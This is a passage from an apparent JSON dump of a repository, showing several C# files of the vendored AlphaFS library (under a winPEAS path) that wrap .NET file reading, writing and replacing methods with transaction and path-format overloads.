Write, and the share mode set to None.</remarks>\n      [SecurityCritical]\n      public static FileStream OpenWriteTransacted(KernelTransaction transaction, string path)\n      {\n         return OpenTransacted(transaction, path, FileMode.OpenOrCreate, FileAccess.Write, FileShare.None);\n      }\n\n\n      /// <summary>[AlphaFS] Opens an existing file or creates a new file for writing.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to be opened for writing.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>An unshared <see cref=\"FileStream\"/> object on the specified path with <see cref=\"FileAccess.Write\"/> access.</returns>\n      /// <remarks>This method is equivalent to the <see cref=\"FileStream\"/>(String, FileMode, FileAccess, FileShare) constructor overload with file mode set to OpenOrCreate, the access set to Write, and the share mode set to None.</remarks>\n      [SecurityCritical]\n      public static FileStream OpenWriteTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return OpenTransacted(transaction, path, FileMode.OpenOrCreate, FileAccess.Write, FileShare.None, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.ReadAllBytes.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      #region .NET\n\n      /// <summary>Opens a binary file, reads the contents of the file into a byte array, and then closes the file.</summary>\n      /// <param name=\"path\">The file to open for reading.</param>\n      /// <returns>A byte array containing the contents of the file.</returns>\n      [SecurityCritical]\n      public static byte[] ReadAllBytes(string path)\n      {\n         return ReadAllBytesCore(null, path, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Opens a binary file, reads the contents of the file into a byte array, and then closes the file.</summary>\n      /// <param name=\"path\">The file to open for reading.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A byte array containing the contents of the file.</returns>\n      [SecurityCritical]\n      public static byte[] ReadAllBytes(string path, PathFormat pathFormat)\n      {\n         return ReadAllBytesCore(null, path, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.ReadAllBytesTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Opens a binary file, reads the contents of the file into a byte array, and then closes the file.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open for reading.</param>\n      /// <returns>A byte array containing the contents of the file.</returns>\n      [SecurityCritical]\n      public static byte[] ReadAllBytesTransacted(KernelTransaction transaction, string path)\n      {\n         return ReadAllBytesCore(transaction, path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Opens a binary file, reads the contents of the file into a byte array, and then closes the file.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open for reading.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A byte array containing the contents of the file.</returns>\n      [SecurityCritical]\n      public static byte[] ReadAllBytesTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return ReadAllBytesCore(transaction, path, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.ReadAllLines.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Linq;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      #region .NET\n\n      /// <summary>Opens a text file, reads all lines of the file, and then closes the file.</summary>\n      /// <param name=\"path\">The file to open for reading.</param>\n      /// <returns>All lines of the file.</returns>\n      [SecurityCritical]\n      public static string[] ReadAllLines(string path)\n      {\n         return ReadAllLinesCore(null, path, NativeMethods.DefaultFileEncoding, PathFormat.RelativePath).ToArray();\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>Opens a file, reads all lines of the file with the specified encoding, and then closes the file.</summary>\n      /// <param name=\"path\">The file to open for reading.</param>\n      /// <param name=\"encoding\">The <see cref=\"Encoding\"/> applied to the contents of the file.</param>\n      /// <returns>All lines of the file.</returns>\n      [SecurityCritical]\n      public static string[] ReadAllLines(string path, Encoding encoding)\n      {\n         return ReadAllLinesCore(null, path, encoding, PathFormat.RelativePath).ToArray();\n      }\n\n\n      /// <summary>[AlphaFS] Opens a text file, reads all lines of the file, and then closes the file.</summary>\n      /// <param name=\"path\">The file to open for reading.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>All lines of the file.</returns>\n      [SecurityCritical]\n      public static string[] ReadAllLines(string path, PathFormat pathFormat)\n      {\n         return ReadAllLinesCore(null, path, NativeMethods.DefaultFileEncoding, pathFormat).ToArray();\n      }\n\n\n      /// <summary>[AlphaFS] Opens a file, reads all lines of the file with the specified encoding, and then closes the file.</summary>\n      /// <param name=\"path\">The file to open for reading.</param>\n      /// <param name=\"encoding\">The <see cref=\"Encoding\"/> applied to the contents of the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>All lines of the file.</returns>\n      [SecurityCritical]\n      public static string[] ReadAllLines(string path, Encoding encoding, PathFormat pathFormat)\n      {\n         return ReadAllLinesCore(null, path, encoding, pathFormat).ToArray();\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.ReadAllLinesTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Linq;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Opens a text file, reads all lines of the file, and then closes the file.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open for reading.</param>\n      /// <returns>All lines of the file.</returns>\n      [SecurityCritical]\n      public static string[] ReadAllLinesTransacted(KernelTransaction transaction, string path)\n      {\n         return ReadAllLinesCore(transaction, path, NativeMethods.DefaultFileEncoding, PathFormat.RelativePath).ToArray();\n      }\n\n\n      /// <summary>[AlphaFS] Opens a file, reads all lines of the file with the specified encoding, and then closes the file.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open for reading.</param>\n      /// <param name=\"encoding\">The <see cref=\"Encoding\"/> applied to the contents of the file.</param>\n      /// <returns>All lines of the file.</returns>\n      [SecurityCritical]\n      public static string[] ReadAllLinesTransacted(KernelTransaction transaction, string path, Encoding encoding)\n      {\n         return ReadAllLinesCore(transaction, path, encoding, PathFormat.RelativePath).ToArray();\n      }\n\n\n      /// <summary>[AlphaFS] Opens a text file, reads all lines of the file, and then closes the file.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open for reading.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>All lines of the file.</returns>\n      [SecurityCritical]\n      public static string[] ReadAllLinesTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return ReadAllLinesCore(transaction, path, NativeMethods.DefaultFileEncoding, pathFormat).ToArray();\n      }\n\n\n      /// <summary>[AlphaFS] Opens a file, reads all lines of the file with the specified encoding, and then closes the file.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open for reading.</param>\n      /// <param name=\"encoding\">The <see cref=\"Encoding\"/> applied to the contents of the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>All lines of the file.</returns>\n      [SecurityCritical]\n      public static string[] ReadAllLinesTransacted(KernelTransaction transaction, string path, Encoding encoding, PathFormat pathFormat)\n      {\n         return ReadAllLinesCore(transaction, path, encoding, pathFormat).ToArray();\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.ReadAllText.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      #region .NET\n\n      /// <summary>Opens a text file, reads all lines of the file, and then closes the file.</summary>\n      /// <param name=\"path\">The file to open for reading.</param>\n      /// <returns>All lines of the file.</returns>\n      [SecurityCritical]\n      public static string ReadAllText(string path)\n      {\n         return ReadAllTextCore(null, path, NativeMethods.DefaultFileEncoding, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Opens a text file, reads all lines of the file, and then closes the file.</summary>\n      /// <param name=\"path\">The file to open for reading.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>All lines of the file.</returns>\n      [SecurityCritical]\n      public static string ReadAllText(string path, PathFormat pathFormat)\n      {\n         return ReadAllTextCore(null, path, NativeMethods.DefaultFileEncoding, pathFormat);\n      }\n\n\n      /// <summary>Opens a file, reads all lines of the file with the specified encoding, and then closes the file.</summary>\n      /// <param name=\"path\">The file to open for reading.</param>\n      /// <param name=\"encoding\">The <see cref=\"Encoding\"/> applied to the contents of the file.</param>\n      /// <returns>All lines of the file.</returns>\n      [SecurityCritical]\n      public static string ReadAllText(string path, Encoding encoding)\n      {\n         return ReadAllTextCore(null, path, encoding, PathFormat.RelativePath);\n      }\n      \n\n      /// <summary>[AlphaFS] Opens a file, reads all lines of the file with the specified encoding, and then closes the file.</summary>\n      /// <param name=\"path\">The file to open for reading.</param>\n      /// <param name=\"encoding\">The <see cref=\"Encoding\"/> applied to the contents of the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>All lines of the file.</returns>\n      [SecurityCritical]\n      public static string ReadAllText(string path, Encoding encoding, PathFormat pathFormat)\n      {\n         return ReadAllTextCore(null, path, encoding, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.ReadAllTextTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Opens a text file, reads all lines of the file, and then closes the file.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open for reading.</param>\n      /// <returns>All lines of the file.</returns>\n      [SecurityCritical]\n      public static string ReadAllTextTransacted(KernelTransaction transaction, string path)\n      {\n         return ReadAllTextCore(transaction, path, NativeMethods.DefaultFileEncoding, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Opens a file, reads all lines of the file with the specified encoding, and then closes the file.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open for reading.</param>\n      /// <param name=\"encoding\">The <see cref=\"Encoding\"/> applied to the contents of the file.</param>\n      /// <returns>All lines of the file.</returns>\n      [SecurityCritical]\n      public static string ReadAllTextTransacted(KernelTransaction transaction, string path, Encoding encoding)\n      {\n         return ReadAllTextCore(transaction, path, encoding, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Opens a text file, reads all lines of the file, and then closes the file.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open for reading.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>All lines of the file.</returns>\n      [SecurityCritical]\n      public static string ReadAllTextTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return ReadAllTextCore(transaction, path, NativeMethods.DefaultFileEncoding, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Opens a file, reads all lines of the file with the specified encoding, and then closes the file.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open for reading.</param>\n      /// <param name=\"encoding\">The <see cref=\"Encoding\"/> applied to the contents of the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>All lines of the file.</returns>\n      [SecurityCritical]\n      public static string ReadAllTextTransacted(KernelTransaction transaction, string path, Encoding encoding, PathFormat pathFormat)\n      {\n         return ReadAllTextCore(transaction, path, encoding, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.ReadLines.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Collections.Generic;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      #region .NET\n\n      /// <summary>Reads the lines of a file.</summary>\n      /// <param name=\"path\">The file to read.</param>\n      /// <returns>All the lines of the file, or the lines that are the result of a query.</returns>\n      [SecurityCritical]\n      public static IEnumerable<string> ReadLines(string path)\n      {\n         return ReadLinesCore(null, path, NativeMethods.DefaultFileEncoding, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Reads the lines of a file.</summary>\n      /// <param name=\"path\">The file to read.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>All the lines of the file, or the lines that are the result of a query.</returns>\n      [SecurityCritical]\n      public static IEnumerable<string> ReadLines(string path, PathFormat pathFormat)\n      {\n         return ReadLinesCore(null, path, NativeMethods.DefaultFileEncoding, pathFormat);\n      }\n\n\n      /// <summary>Read the lines of a file that has a specified encoding.</summary>\n      /// <param name=\"path\">The file to read.</param>\n      /// <param name=\"encoding\">The encoding that is applied to the contents of the file.</param>\n      /// <returns>All the lines of the file, or the lines that are the result of a query.</returns>\n      [SecurityCritical]\n      public static IEnumerable<string> ReadLines(string path, Encoding encoding)\n      {\n         return ReadLinesCore(null, path, encoding, PathFormat.RelativePath);\n      }\n      \n\n      /// <summary>[AlphaFS] Read the lines of a file that has a specified encoding.</summary>\n      /// <param name=\"path\">The file to read.</param>\n      /// <param name=\"encoding\">The encoding that is applied to the contents of the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>All the lines of the file, or the lines that are the result of a query.</returns>\n      [SecurityCritical]\n      public static IEnumerable<string> ReadLines(string path, Encoding encoding, PathFormat pathFormat)\n      {\n         return ReadLinesCore(null, path, encoding, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.ReadLinesTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Collections.Generic;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Reads the lines of a file.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to read.</param>\n      /// <returns>All the lines of the file, or the lines that are the result of a query.</returns>\n      [SecurityCritical]\n      public static IEnumerable<string> ReadLinesTransacted(KernelTransaction transaction, string path)\n      {\n         return ReadLinesCore(transaction, path, NativeMethods.DefaultFileEncoding, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Read the lines of a file that has a specified encoding.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to read.</param>\n      /// <param name=\"encoding\">The encoding that is applied to the contents of the file.</param>\n      /// <returns>All the lines of the file, or the lines that are the result of a query.</returns>\n      [SecurityCritical]\n      public static IEnumerable<string> ReadLinesTransacted(KernelTransaction transaction, string path, Encoding encoding)\n      {\n         return ReadLinesCore(transaction, path, encoding, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Reads the lines of a file.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to read.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>All the lines of the file, or the lines that are the result of a query.</returns>\n      [SecurityCritical]\n      public static IEnumerable<string> ReadLinesTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return ReadLinesCore(transaction, path, NativeMethods.DefaultFileEncoding, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Read the lines of a file that has a specified encoding.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to read.</param>\n      /// <param name=\"encoding\">The encoding that is applied to the contents of the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>All the lines of the file, or the lines that are the result of a query.</returns>\n      [SecurityCritical]\n      public static IEnumerable<string> ReadLinesTransacted(KernelTransaction transaction, string path, Encoding encoding, PathFormat pathFormat)\n      {\n         return ReadLinesCore(transaction, path, encoding, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.Replace.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      #region .NET\n\n      /// <summary>Replaces the contents of a specified file with the contents of another file, deleting the original file, and creating a backup of the replaced file.</summary>\n      /// <remarks>The Replace method replaces the contents of a specified file with the contents of another file. It also creates a backup of the file that was replaced.</remarks>\n      /// <remarks>\n      ///   If the <paramref name=\"sourceFileName\"/> and <paramref name=\"destinationFileName\"/> are on different volumes, this method will\n      ///   raise an exception. If the <paramref name=\"destinationBackupFileName\"/> is on a different volume from the source file, the backup\n      ///   file will be deleted.\n      /// </remarks>\n      /// <remarks>\n      ///   Pass null to the <paramref name=\"destinationBackupFileName\"/> parameter if you do not want to create a backup of the file being\n      ///   replaced.\n      /// </remarks>\n      /// <param name=\"sourceFileName\">The name of a file that replaces the file specified by <paramref name=\"destinationFileName\"/>.</param>\n      /// <param name=\"destinationFileName\">The name of the file being replaced.</param>\n      /// <param name=\"destinationBackupFileName\">The name of the backup file.</param>      \n      [SecurityCritical]\n      public static void Replace(string sourceFileName, string destinationFileName, string destinationBackupFileName)\n      {\n         ReplaceCore(sourceFileName, destinationFileName, destinationBackupFileName, false, PathFormat.RelativePath);\n      }\n      \n\n      /// <summary>Replaces the contents of a specified file with the contents of another file, deleting the original file, and creating a backup of the replaced file and optionally ignores merge errors.</summary>\n      /// <remarks>The Replace method replaces the contents of a specified file with the contents of another file. It also creates a backup of the file that was replaced.</remarks>\n      /// <remarks>\n      ///   If the <paramref name=\"sourceFileName\"/> and <paramref name=\"destinationFileName\"/> are on different volumes, this method will\n      ///   raise an exception. If the <paramref name=\"destinationBackupFileName\"/> is on a different volume from the source file, the backup\n      ///   file will be deleted.\n      /// </remarks>\n      /// <remarks>\n      ///   Pass null to the <paramref name=\"destinationBackupFileName\"/> parameter if you do not want to create a backup of the file being\n      ///   replaced.\n      /// </remarks>\n      /// <param name=\"sourceFileName\">The name of a file that replaces the file specified by <paramref name=\"destinationFileName\"/>.</param>\n      /// <param name=\"destinationFileName\">The name of the file being replaced.</param>\n      /// <param name=\"destinationBackupFileName\">The name of the backup file.</param>\n      /// <param name=\"ignoreMetadataErrors\">\n      ///   <c>true</c> 